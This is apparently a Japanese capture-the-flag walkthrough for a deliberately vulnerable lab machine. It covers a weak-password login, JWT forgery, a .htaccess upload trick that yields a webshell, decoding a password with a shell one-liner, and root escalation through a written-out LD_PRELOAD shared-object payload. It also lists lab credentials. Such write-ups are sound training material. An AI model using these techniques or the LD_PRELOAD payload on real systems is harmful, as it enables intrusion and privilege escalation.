ポートスキャン#
22 と 80 ポートのみが開放されています
WEB#
ウェブサイトのホームページは純粋な静的ページで、コメントを確認すると隠されたディレクトリが見つかります
base64 デコードで得られるパス/74221
ログインフォームには弱いパスワードtest:123456
があり、ログインします
ファイルアップロードの権限がないというメッセージが表示され、cookie フィールドから JWT の偽造による権限昇格を考えます
ここには 2 つの穴があります:空のキーを使用することも、キーをjwtsecret123
としてブルートフォースすることもできます
偽造に成功した後、ダッシュボード画面を確認すると、私たちの身分は admin です
次にファイルアップロードの場所に行き、jpg または png 拡張子のファイルのみをアップロードできます
テストの結果、.htaccess ファイルをアップロードできることがわかり、アップロードします。内容は以下の通りです
AddType application/x-httpd-php .jpg
この時、もう 1 つの jpg 画像をアップロードすれば webshell を取得できます
後の浸透#
www-data から pentester へ#
2 つの暗号文を見つけました。それらはそれぞれ
/etc/passwd
/srv/...
暗号文は以下の通りです:
Itwasthebestoftimes!itwastheworstoftimes@itwastheageofwisdom#itwastheageoffoolishness$itwastheepochofbelief,itwastheepochofincredulity,&itwastheseasonofLight...
Iuwbtthfbetuoftimfs"iuwbsuhfxpsttoguinet@jtwbttieahfogwiseon#iuxatthfageofgpoljthoess%itwbsuiffqocipfbemieg-iuxbsuhffqpdhogjocredvljtz,'iuwasuhesfasooofLjgiu...
注意深く観察すると、2 つのテキストの違いは 1 で、違いがないのは 0 です。これにより一連のバイナリ数を得て、bytes に変換することでパスワードを得ることができます
参考解法:
cat a.txt|sed 's/./&\n/g' >aa.txt
cat b.txt|sed 's/./&\n/g' >bb.txt
paste aa.txt bb.txt|awk '{if($1==$2){print 0}else{print 1}}'|xargs|tr -d ' '|fold -w8 | while read bin; do printf "%02X" "$((2#$bin))"; done | xxd -r -p
pentester ユーザーのパスワードY0U_5M4SH3D_17_8UDDY
pentester から xiix へ#
sudo find はウサギの穴であり、権限昇格の可能性のあるオプションをフィルタリングしています(もちろん、実際にこのバックドアを通じて root に昇格できたらあなたはすごいです)
ポートを確認すると 8989 が開放されています
実際、これは毎分トリガーされる python スクリプトに対応しています
nc 127.0.0.1 8989 に上記で取得したパスワードを入力すると、xiix ユーザーのシェルを取得できます。インタラクティブシェルではないため、公開鍵ファイルに書き込んで永続化できます
xiix から root へ#
guess_name スクリプトは数を推測し、成功確率は 1% です。マルチスレッドスクリプトを作成してブルートフォースできます。ここには 2 つのバックドアが隠されています:env で環境変数を確認し、1337 を入力すれば通過できます;
さらに、スクリプトが実行されると、パスワードが隠しファイル /tmp/.hidden_clue に書き込まれます
pspy -f
を実行すると検出できます:
とにかく、xiix ユーザーのパスワードsuperxiix
を取得しました
その後、sudo -l を実行すると、env_keep+=LD_PRELOAD があることがわかります
これはクラシックな権限昇格ポイントです
まず、shell.so をコンパイルします:
#include <stdio.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash");
}
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
次に、sudo LD_PRELOAD=/home/xiix/shell.so whoami
を実行すると、root シェルを取得できます。